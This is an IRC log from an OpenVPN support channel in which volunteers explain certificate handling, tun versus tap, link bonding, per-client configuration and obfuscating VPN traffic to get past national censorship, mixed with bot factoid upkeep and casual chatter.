04:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
04:33 < dballester> some devices are mikrotik ( no full openvpn client implementation ) I will tst, thanks for the info pekster
04:33 < dballester> tst/test
04:35 -!- odoacre [~antonio@222.126.240.10] has joined #openvpn
04:37 < odoacre> hey, i'm wondering if anyone has some tips to stop the chinese firewall to keep killing my openvpn connection
04:39 < pekster> That depends on how they're detecting the connection. You could try changing the listening port, but openvpn has a detectable protocol handshake when used with certificates
04:39 < odoacre> oh
04:39 < odoacre> soi should try with no certificates ?
04:39 < pekster> You could use it in p2p mode with static keys (ie: use of --secret instead of --cert and --key) which has no handshake fingerprint
04:40 < odoacre> i think they don't especially care much that it's openvpn, they care about the fact that it's encrypted
04:40 < odoacre> but thanks for the tip i'll try that out
04:40 < pekster> Right. The downside security-wise is that the keys need to be transferred over an alreaady-secure channel (like ssh) and you don't have perfect forwrad secrecy (so if your key gets stolen later, an attacker could decrypt any past sessions secured with that key if they have the traffic stored)
04:41 < odoacre> yeah, that's not a huge issue for me
04:41 < pekster> There's also an obfsproxy project that's designed to obfuscate network-level connections. I don't know much about it, but I think we have a link to the project:
04:41 < pekster> !obfsproxy
04:41 < odoacre> i mainly encrypt it only to bypass the censorship filter
04:41 <@vpnHelper> "obfsproxy" is For a writeup on using obfsproxy with OpenVPN see https://syria.hacktivist.me/?p=148
04:41 < odoacre> nice!
04:42 < pekster> If that's your use-case, you might have luck with the static keyed setup in p2p mode then
04:42 < odoacre> that's awesome
04:42 < pekster> It's still encrypted, but there is no handshake, so it just looks like raw data going down the wire
04:42 < odoacre> that was very helpful pekster, thanks a lot
04:42 < odoacre> i;ll set you know if it works better
04:42 < pekster> yup. Best of luck; censorship suckcs
04:43 < odoacre> word
04:44 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has quit [Quit: nand]
04:48 <@dazo> !obfs
04:48 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used. in
04:48 <@vpnHelper> static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
04:49 <@dazo> !learn obfsproxy as See also !obfs.  The link to TrafficObfuscation also contains a setup example
04:49 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
04:49 <@dazo> !whoami
04:49 <@vpnHelper> I don't recognize you.
04:49 <@dazo> ecrist: ^^ w00t!?
04:50 < pekster> krzee had some issue updating the bot access list and needs to reset access for some folks. "half" of the access list was lost, or something
04:50 < pekster> !learn obfsproxy as See also !obfs.  The link to TrafficObfuscation also contains a setup example
04:50 <@vpnHelper> Joo got it.
04:50  * pekster just happens to be in the other half atm
04:51 <@dazo> ahh! thx pekster!
04:51  * pekster digs back into code to see why builds keep exploding on his patch
05:15 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
05:15 -!- brute11k1 [~brute11k@89.249.235.210] has quit [Ping timeout: 255 seconds]
05:16 -!- APTX [APTX@unaffiliated/aptx] has quit [Quit: No Ping reply in 180 seconds.]
05:17 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
05:51 -!- BtbN [~btbn@btbn.de] has quit [Ping timeout: 264 seconds]
05:53 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 264 seconds]
05:53 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 264 seconds]
05:53 -!- BtbN [~btbn@btbn.de] has joined #openvpn
05:57 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
05:57 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
05:57 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Changing host]
05:57 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
05:58 -!- dpecka [~dpecka@193.165.171.107] has joined #openvpn
05:58 < dpecka> hello
05:58 < dpecka> i have stupid Q:
05:58 < dpecka> where is specified and how openvpn server knows, that he should look for the client keys in etc/openvpn/easy-rsa/2.0/keys/ ?
06:00 <@dazo> dpecka: the OpenVPN server doesn't care about etc/openvpn/easy-rsa/2.0/keys/ at all
06:00 <@dazo> dpecka: in fact easy-rsa certificate and key files shouldn't be on the server at all
06:01 <@dazo> dpecka: OpenVPN server and client verifies the certificate signatures ... if that matches what it would expect from the ca.crt (--ca on the configs), then it is considered to be a trusted server or client certificate
06:01 < dpecka> dazo: o.O but, but ..
06:02 <@dazo> that's how PKI works ... the CA is a trusted third party which clients and servers both know and trust .... and the CA signs certificates to servers and clients
06:02 < dpecka> dazo: then i don't understand how it works
06:02 < dpecka> ca /etc/openvpn/easy-rsa/2.0/keys/ca.crt
06:02 < dpecka> cert /etc/openvpn/easy-rsa/2.0/keys/server.crt
06:02 < dpecka> key /etc/openvpn/easy-rsa/2.0/keys/server.key
06:02 < dpecka> ^^ this is needed
06:02 < dpecka> and clients have set similar in their client.cfg
06:02 <@dazo> yeah ... just move those three files to /etc/openvpn instead .
06:03 < dpecka> they use ca.crt and klient.crt and client.key
06:03 <@dazo> the CA key is the most sacred file you'll ever have ... if that one gets "lost" (read: stolen) ... then you can't trust any clients or server any more
06:03 <@dazo> I did a write-up a long time ago, which is still a draft .... but this might help you understand a bit more: https://community.openvpn.net/openvpn/wiki/How_does_PKI_work
06:03 <@vpnHelper> Title: How_does_PKI_work – OpenVPN Community (at community.openvpn.net)
06:04 < dpecka> thanks
06:07 -!- dmonjo [~dmonjo@178.135.18.38] has joined #openvpn
06:07 < dmonjo> hello
06:08 < dmonjo> what are the beneifts of doing bridging vpn vs the ip ?
06:08 < dmonjo> layer2 vs layer3
06:08 < dpecka> dazo: i don't understand than why how generated client key relates to ca.crt
06:08 < dpecka> **then
06:09 < pekster> dmonjo:
06:09 < pekster> !tunortap
06:09 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
06:09 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
06:09 < dpecka> dazo: what it is good for .. if you have ca.crt you can use it for generating unlimited amount of client certs, right ?
06:10 < pekster> dmonjo: Generally speaking, you don't want to bridge unless you have an actual need to exchange Ethernet or multicast traffic. tun has less overhead, doesn't waste bandwidth with subnet broadcast traffic, and is slightly more secure against Layer 2 attacks performed by compromised VPN clients
06:10 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
06:11 < pekster> dpecka: ca.key does the signing; the .crt files are the public keys (the "public" in "Public Key Infrastructure")
06:12 < dmonjo> pekster: what i want to do is connect 2 connections from source to an openvpn server i want to take advantages of combining the throught of both connections (1mb conn1 + 2mb conn2) = 3mb uplink to outside server
06:12 < dmonjo> for that i think only tap works right
06:13 < pekster> That won't work the way you expect without cooperation from the other endpoint, and if you have that you might as well trunk over the native links and run openvpn on top of that if you need a security layer
06:15 < dmonjo> pekster: both endpoints are under my control
06:15 < dmonjo> what do you mean by cooperation
06:16 < pekster> If you're not familiar with trunking, it's not like normal routing since the peer needs to accept traffic from an address that's bound to the other line in a trunked configuration
06:16 < pekster> You can't just connect 2 uplinks and expect to add your throughput together like magic; that's not how it works
06:19 < pekster> This is a Linux-centric example, but here's a brief demonstration of what you'd need for that kind of a trunk over whatever random provider you have: http://lartc.org/howto/lartc.loadshare.html
06:19 <@vpnHelper> Title: Load sharing over multiple interfaces (at lartc.org)
06:19 < pekster> Specifically, note the caveats section where they explain that you won't actually get any practical performance benefit from this
06:20 < pekster> But it might depend on your traffic and usecase I guess
06:32 < havoc> interesting/relevant: http://therosiek.com/2011/03/nic-teaming-on-debian-squeeze/
06:32 <@vpnHelper> Title: NIC Teaming on Debian Squeeze « TheRosiek.com (at therosiek.com)
06:36 < pekster> teaming works well where you have 2 identical pieces of hardware connected to a physical switch, but not so well when you have things like unmatched WAN links to 2 providers. I guess technically, yes, you can use tap and team across them with support of the remote endpoint you're connected to if it bridges them back. I'd wager that performance will be worse than if you used 1 ISP alone
06:36 <@plaisthos> should be okay if you usage standard teaming
06:36 <@plaisthos> which will use only one of the links per connection
06:38 -!- brute11k [~brute11k@89.249.235.210] has quit [Ping timeout: 244 seconds]
06:39 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
06:45 < havoc> pekster: yeah
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
06:48 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:48 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
06:52 < havoc> pekster: I was looking at it for my SuperMicro servers, dual NICs
06:53 < havoc> pekster: particularly for a debian VM host
06:56 < dmonjo> pekster: i think if the 2 source links are going from the same ISP it would work just fine since the 2 links would be running with same latency more or less
06:57 < dmonjo> if we using different isps then latency would make the 2 links slower yes
07:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:02 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 264 seconds]
07:04 <@ecrist> !learn obfsproxy as See also !obfs.  The link to TrafficObfuscation also contains a setup example
07:04 <@vpnHelper> Joo got it.
07:04 -!- master_of_master [~master_of@p57B54352.dip.t-dialin.net] has quit [Ping timeout: 248 seconds]
07:04 < pekster> I think I already added that
07:04 < pekster> !obfsproxy
07:04 <@vpnHelper> "obfsproxy" is (#1) For a writeup on using obfsproxy with OpenVPN see https://syria.hacktivist.me/?p=148 or (#2) See also !obfs. The link to TrafficObfuscation also contains a setup example or (#3) See also !obfs. The link to TrafficObfuscation also contains a setup example
07:05 <@ecrist> yeah, you did
07:05 <@ecrist> sorry, was reading scroll-back
07:05 < pekster> np
07:05 < pekster> Better have the info twice than not at all :)
07:05 < pekster> !forget obfsproxy 3
07:05 <@vpnHelper> Joo got it.
07:05 < pekster> But once is better
07:06 -!- master_of_master [~master_of@87.181.77.103] has joined #openvpn
07:06 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
07:07 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
07:08 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
07:09 <@ecrist> I should update the factiods page
07:10 <@ecrist> !factoids
07:10 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
07:12 -!- JSharpe [~JSharpe@188.227.181.234] has joined #openvpn
07:21 <@ecrist> there, now it'll update every 5 minutes automagically
07:21 < pekster> cron is a magical thing
07:22 <@plaisthos> invented by the ancient greeks!
07:22 <@plaisthos> (or so I heard)
07:22 <@ecrist> wowsers, we have a lot of factoids now
07:23 < pekster> One of my current */15 crons is waiting for the next rtorrent segfault so I can get a useful backtrace :)
07:23 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 260 seconds]
07:26 <@plaisthos> !-- is wrong btw.
07:26 <@plaisthos> !--
07:26 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix must be removed when an option is placed in a configuration file.
07:27 <@plaisthos> !forget --
07:27 <@vpnHelper> Error: You don't have the factoids.forget capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
07:27 < pekster> Right, config file will eat leading dashes IIRC
07:27 < pekster> The bot had some memory loss on access lists last night
07:27 <@plaisthos> :)
07:27 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
07:28 <@plaisthos> this prefix is usually omitted in a configuration file
07:28 <@plaisthos> --<ca> works to btw :)
07:28 <@ecrist> !forget --
07:28 <@vpnHelper> Joo got it.
07:30 <@plaisthos> !forget android-ipv6
07:30 <@vpnHelper> Error: You don't have the factoids.forget capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
07:30 <@plaisthos> that is outdated
07:30 <@plaisthos> and forget !kindle
07:32 <@plaisthos> and !learn !kindle as OpenVPN for Android works fine on Kindle Fire HD and Kindle Fire 2nd generation. Get the apk from http://plai.de/android
07:32 <@vpnHelper> Title: Index of /android (at plai.de)
07:35 < dmonjo> what are the advantages of openvpn over other vpn solutions
07:35 < dmonjo> other than being opensource
07:35 < dmonjo> feature wise
07:38 < pekster> Off the top of my head: ease of config, operates completely over a single UDP (or TCP) port making it NAT/firewall friendly are the big ones. It's also secure, unlike f.ex: pptp
07:38 < pekster> Well, "secure when used properly" like any proper security solution
07:39 < pekster> Very platform agnostic too, despite not being included "out of the box"
07:43 <@ecrist> let me fix your bot access, plaisthos, then you can do it
07:44 -!- pnielsen_ [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
07:44 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
07:45 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Ping timeout: 264 seconds]
07:45 -!- pnielsen_ is now known as pnielsen
07:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
07:51 -!- mode/#openvpn [+o vpnHelper] by ChanServ
07:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit]
07:52 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
07:52 -!- mode/#openvpn [+o vpnHelper] by ChanServ
07:52 <@ecrist> plaisthos: try now
07:52 <@ecrist> !whoami
07:52 <@vpnHelper> I don't recognize you.
07:53 <@ecrist> raar
07:53 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit]
07:54 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
07:54 < dpecka> sorry boys but i don't understand clearly how it works
07:55 < dpecka> is easy-rsa/2.0/build-key chained somehow to existing ca.crt ? so when i build new client key with included . vars, is ca.crt used to create client key ?
07:55 < dpecka> can attacker get access to my vpn server if he gets ca.crt ?
07:55 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 260 seconds]
07:56 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
07:56 -!- mode/#openvpn [+o vpnHelper] by ChanServ
07:56 <@ecrist> dpecka: once your CA is built with easy-rsa, it uses that structure to build client certs
07:56 <@ecrist> ca.crt is safe to give out to anyone
07:56 <@ecrist> it's the ca.key you need to keep safe
07:56 <@ecrist> !whoami
07:56 <@vpnHelper> ecrist
07:57 <@ecrist> pekster: do you still have bot access?  (just do !whoami)
07:58 -!- nickanderson_afk is now known as nickanderson
07:58 < dpecka> ecrist: ah, so nobody can generate key usable to establish connection without ca.key ?
07:59 < dpecka> ecrist: also i'd like to ask, if default setup as it is described in howto (with 1024b keys length) is strong enough
08:00 < pekster> !whoami
08:00 <@vpnHelper> support
08:00 < pekster> Based on the cloak now it appears
08:00 <@ecrist> dpecka: correct, you need both ca.crt and ca.key to generate new certificates, and you need the password for ca.key, as well
08:00 < dpecka> i mean: . vars; ./build-ca; build-key-server server; ./build-key client0
08:00 <@ecrist> pekster: perfect
08:00 <@ecrist> I *think* i have the bot access list resolved
08:00 < dpecka> ecrist: thanks much
08:01 <@ecrist> dpecka: 1024 is strong enough, but we recently changed the default to 2048
08:01 < dpecka> okay
08:01 <@ecrist> it's available in git, but we haven't released that yet
08:01 <@ecrist> (you can just change the openssl conf)
08:02 < dpecka> thanks guys .. everything works fine for me .. i just followed howto and made few more changes in regard to documentation
08:02  * pekster is burried in manpages now, forcing himself to learn how to prepare this patch the "right" way in git :)
08:02 -!- nickanderson [~cmdln@ginger.pilgrimpage.com] has left #openvpn []
08:02 <@ecrist> pekster: git clone, make your changes, git commit, git diff
08:03 <@ecrist> you can do the pull request thing, too, but I don't know how to do that
08:03 <@plaisthos> !whoami
08:03 <@vpnHelper> developers
08:03 < pekster> Yea, I first was trying to see how to root to the 2.3.0 tag (or w/e the git version of a tag is)
08:03 <@plaisthos> !forget android-ipv6
08:03 <@vpnHelper> Joo got it.
08:03 <@plaisthos> !learn kindle as OpenVPN for Android works fine on Kindle Fire HD and Kindle Fire 2nd generation. Get the apk from http://plai.de/android
08:03 <@vpnHelper> Joo got it.
08:03 < dpecka> ecrist: last Q:, can i somehow granuralily set up different settings per-client (like different routes, etc) or do I have to run another instance of openvpn ?
08:03 <@plaisthos> !--
08:03 <@plaisthos> !kindle
08:03 <@vpnHelper> "kindle" is (#1) http://plai.de/android/ - Please report back if you have issues, or if it worked well. (blame plaisthos either way) or (#2) OpenVPN for Android works fine on Kindle Fire HD and Kindle Fire 2nd generation. Get the apk from http://plai.de/android
08:04 <@plaisthos> !forget kindle 1
08:04 <@vpnHelper> Joo got it.
08:04 <@plaisthos> !kindle
08:04 <@vpnHelper> "kindle" is OpenVPN for Android works fine on Kindle Fire HD and Kindle Fire 2nd generation. Get the apk from http://plai.de/android
08:04 <@ecrist> dpecka: yes, using CCD
08:04 <@ecrist> !ccd
08:04 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
08:04 <@plaisthos> !-- does not seem to work at all :)
08:04 < dpecka> great
08:04 < dpecka> fantastic
08:05 <@ecrist> plaisthos: I removed it above, for you
08:08 <@plaisthos> ah okay
08:08 -!- dmonjo_ [~dmonjo@178.135.250.76] has joined #openvpn
08:09 <@plaisthos> !learn -- as OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
08:09 <@vpnHelper> Joo got it.
08:10 -!- defswork [~andy@141.0.50.105] has joined #openvpn
08:10 -!- dmonjo [~dmonjo@178.135.18.38] has quit [Ping timeout: 276 seconds]
08:16 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 256 seconds]
08:28 -!- defswork [~andy@141.0.50.105] has joined #openvpn
08:53 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 276 seconds]
08:58 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:06 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:07 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:26 < dbhaber_> http://www.cnn.com/2013/02/20/us/california-hotel-water-corpse/index.html?hpt=hp_c1
09:26 <@vpnHelper> Title: Corpse found in L.A. hotel's water tank - CNN.com (at www.cnn.com)
09:26 < dbhaber_> win
09:29 -!- dmonjo__ [~dmonjo@178.135.211.106] has joined #openvpn
09:31 -!- dmonjo_ [~dmonjo@178.135.250.76] has quit [Ping timeout: 244 seconds]
09:40 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
09:43 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:48 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
09:49 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
09:54 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
10:00 -!- zhvtar is now known as Zhvtar
10:02 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:03 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:05 -!- Zhvtar [~zhvtar@unaffiliated/zhvtar] has left #openvpn []
10:10 -!- echinos_ is now known as echinos
10:12 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 245 seconds]
10:16 -!- raidz_away is now known as raidz
10:17 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 276 seconds]
10:20 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
10:25 -!- jthunder [~jthunder@70.28.245.58] has joined #openvpn
10:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
11:14 -!- dballester [~dballeste@139.49.17.109.rev.sfr.net] has quit [Quit: Saliendo]
11:21 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- It'll be on slashdot one day...]
11:22 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
11:24 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
11:24 -!- mode/#openvpn [+o mattock_afk] by ChanServ
11:24 -!- mattock_afk is now known as mattock
11:24 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 252 seconds]
11:25 -!- echinos [~echinos@67.196.136.211] has left #openvpn []
11:30 -!- jthunder [~jthunder@70.28.245.58] has quit [Quit: jthunder]
11:41 -!- dmonjo__ [~dmonjo@178.135.211.106] has quit [Ping timeout: 255 seconds]
11:50 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 255 seconds]
11:59 -!- MeanderingCode [~Meanderin@71-213-185-188.albq.qwest.net] has joined #openvpn
12:08 -!- dazo is now known as dazo_afk
12:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:09 -!- mode/#openvpn [+o krzee] by ChanServ
12:11 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds]
12:12 <@krzee> pekster, i saw some scroll about ethernet bonding over 2 links
12:12 <@krzee> i have seen someone do it, and actually increase their single-connection download speed
12:12 -!- folivora_ is now known as folivora
12:12 <@krzee> 2 tap links to the same server over different ISPs, then ethernet bonding them
12:13 <@krzee> however, he ended up getting buffer issues
12:13 < pekster> Right, but the link will be hyper-sensitive to re-ordering or delivery issues
12:13 < pekster> Yea
12:13 <@krzee> exactly
12:13 <@krzee> i was thinking qos could maybe help that
12:13 -!- baobeiiii [~baobeiiii@192.73.244.224] has joined #openvpn
12:13 <@krzee> but never saw him again to suggest it
12:13 < pekster> That reaks havoc with things like the tcp sliding window, and non-*nix doesn't deal well with the overall re-ordering
12:13 < dioz> pekster: about a week ago you were talking to me in #cisco about some stuff
12:14 < dioz> and i had  mentioned that my residential gateway doesn't traverse protocol 41
12:14 < pekster> I've never been in #cisco
12:14 < pekster> I hang out in #ipv6 though
12:14 < dioz> maybe #ipv6 then
12:14 < dioz> yah
12:14 < pekster> sixxs.net has AICCU, a client that can speak AYIYA which has an IETF RFC to tunnel 6in4 traffic over UDP
12:15 < dioz> i wonder if sixxs.net has my isp e-mail blocked
12:15 < dioz> cause they won't respond to me
12:15 < pekster> Yea, lots of horror stories about sixx.net and email; you really ought to use an "established" email account; just forward a gmail or something to your personal mail
12:15 < dioz> like gmail
12:15 < dioz> okay thanks
12:16 < pekster> Although if it's with a major ISP that "should" please them. Then again, the guy who runs it is a jerk and uptight about some things, email in particular
12:16 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:16 < pekster> Just be sure you list everything they want on the contact page, and try and be polite since he gets into a pissing match easy it seems
12:20 < dioz> pekster:
12:20 < dioz> hping3 -0 -t 1 -H 41 -T
12:20 < dioz> doing that to a host in a different AS
12:20 < dioz> it stops at my residential gateway
12:20 < dioz> that would imply to me that it is the gateway blocking the prot41 packets
12:20 < dioz> is that a safe assumption?
12:23 -!- odoacre_ [~antonio@us.happylatte.com] has joined #openvpn
12:24 < dbhaber_> wat
12:24 < dbhaber_> dazo_afk: hello over there
12:24 < dbhaber_> hi krzee
12:24 <@krzee> dougy?
12:25 < dbhaber_> hihi
12:26 -!- dbhaber_ is now known as DougEFresh
12:26 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has quit [Ping timeout: 246 seconds]
12:26 < DougEFresh> lolol
12:26 <@krzee> wassup man
12:26 < DougEFresh> same ol
12:26 < DougEFresh> how you doin player
12:26 <@krzee> very well
12:26 <@krzee> just released my first mobile unit, did my first interview
12:26 <@krzee> want the link to it?
12:27 < DougEFresh> first what?
12:27 -!- odoacre [~antonio@222.126.240.10] has quit [Ping timeout: 255 seconds]
12:27 <@krzee> http://www.kittyfeet.com/2013/02/14/jeff-from-liberty-private-network-talks-about-his-secure-bat-phones/
12:27 <@vpnHelper> Title: » Jeff from Liberty Private Network Talks About His Secure Bat Phones. Anarchy Gumbo Podcast (at www.kittyfeet.com)
12:27 <@krzee> that ^
12:27 < DougEFresh> interesting
12:29 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
12:32 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
12:34 < DougEFresh> krzee: what else is new
12:34 < DougEFresh> are you still sitting around a bunch of carribean hoez
12:34 <@krzee> just got back from usa
12:34 < DougEFresh> where ya go
12:34 <@krzee> not right now, but yes
12:34 <@krzee> vegas and cali
12:34 < DougEFresh> nice
12:37 -!- takamichi [~Takamichi@c101-159.i07-26.onvol.net] has joined #openvpn
12:51 -!- takamich_ [~takamichi@c101-159.i07-26.onvol.net] has joined #openvpn
12:54 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 244 seconds]
13:01 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
13:08 -!- mattock is now known as mattock_afk
13:15 -!- takamich_ [~takamichi@c101-159.i07-26.onvol.net] has quit []
13:17 -!- takamich_ [~private@c101-159.i07-26.onvol.net] has joined #openvpn
13:18 -!- takamich_ [~private@c101-159.i07-26.onvol.net] has quit [Client Quit]
13:19 -!- takamich_ [~takamichi@c101-159.i07-26.onvol.net] has joined #openvpn
13:20 -!- takamich_ [~takamichi@c101-159.i07-26.onvol.net] has quit [Client Quit]
13:27 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
13:27 -!- mode/#openvpn [+v s7r] by ChanServ
13:33 -!- wachpwnski [~Adium@c-67-176-229-52.hsd1.in.comcast.net] has joined #openvpn
13:34 < wachpwnski> Hey guys, I have an open vpn config file but everything doesn't transfer over when I import it into gnome network manager
13:35 < wachpwnski> Apparently I actually need the key files from the config, because it wont parse them out.
13:37 <@krzee> i dont know much about the importer in nm, we generally say not to use it, however importing your already working config is 1 way i would say its fine to use
13:38 <@krzee> you could try in-line configs
13:38 <@krzee> !inline
13:38 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
13:38 < pekster> Unless you mean you have an inline config and nm won't take it? I can't quite tell what your issue is (or, more accurately, nm's issue)
13:38 < pekster> Also, holy crap git is awesome
13:39 < pekster> I'm hacking on easy-rsa a bit, and just discovered how powerful 'git stash' is. svn has no analagous feature
13:40 <@krzee> i think he means he has files that arent being found by the importer
13:40 <@krzee> maybe it needs to be in the same dir as config, maybe it needs to be a full path, i dunno
13:41 <@krzee> those are 3 things ild try, and im very sure 1 of them would work
13:41 < wachpwnski> krzee: yah, it's an inline config. so can I just copy paste the <ca> <key> cdata to a file then?
13:41 < wachpwnski> then import that into nm?
13:41 <@krzee> ahh good call pekster!
13:42 < wachpwnski> It takes most of it, just requres a CA and Keyfile
13:42 < wachpwnski> which is inline on the config
13:42 <@krzee> ahh ok ya just put that data into a file and use config options ca <file> / key <file>
13:43 <@krzee> backup your config first!
13:43 < pekster> (no brackets, and quote the path if you have spaces in it, for some odd reason)
13:44 < wachpwnski> anything right of # is a comment correct?
13:44 <@krzee> yes
13:44 <@krzee> !comment
13:44 <@vpnHelper> "comment" is you can use ; or # to make comments in the config file
13:45 -!- mndo [~mndo@bl17-91-212.dsl.telepac.pt] has quit [Quit: going home]
13:45 < baobeiiii> pekster, nice, removing the stupid email fields etc?
13:46 < pekster> Indeed
13:47 < pekster> And getting used to git while I'm at it. I don't really have a good handle on what I'm doing yet, but I feel wickedly powerful anytime I ask git to do something. It's fast, lightweight, and actually helps development verses gets in the way
13:47  * pekster has a new SCM toy to play with now
13:49 < baobeiiii> interesting, googled it
13:49 < baobeiiii> amazon has a free book for download called pro git
13:50 -!- feth [~feth@ile-flottante.tuttu.info] has joined #openvpn
13:50 < feth> Hi
13:50 < pekster> It's been out for a number of years, I just was stuck in my stuborn ways of svn until this week
13:53 < feth> I'm having trouble with the ccd-exclusive directive on debian: I configured the ccd to be /etc/openvpn/ccd, and put files named according to the cnames in it, with nobody:nogroup
13:53 < baobeiiii> what other if any changes are you planning on making to easy-rsa?
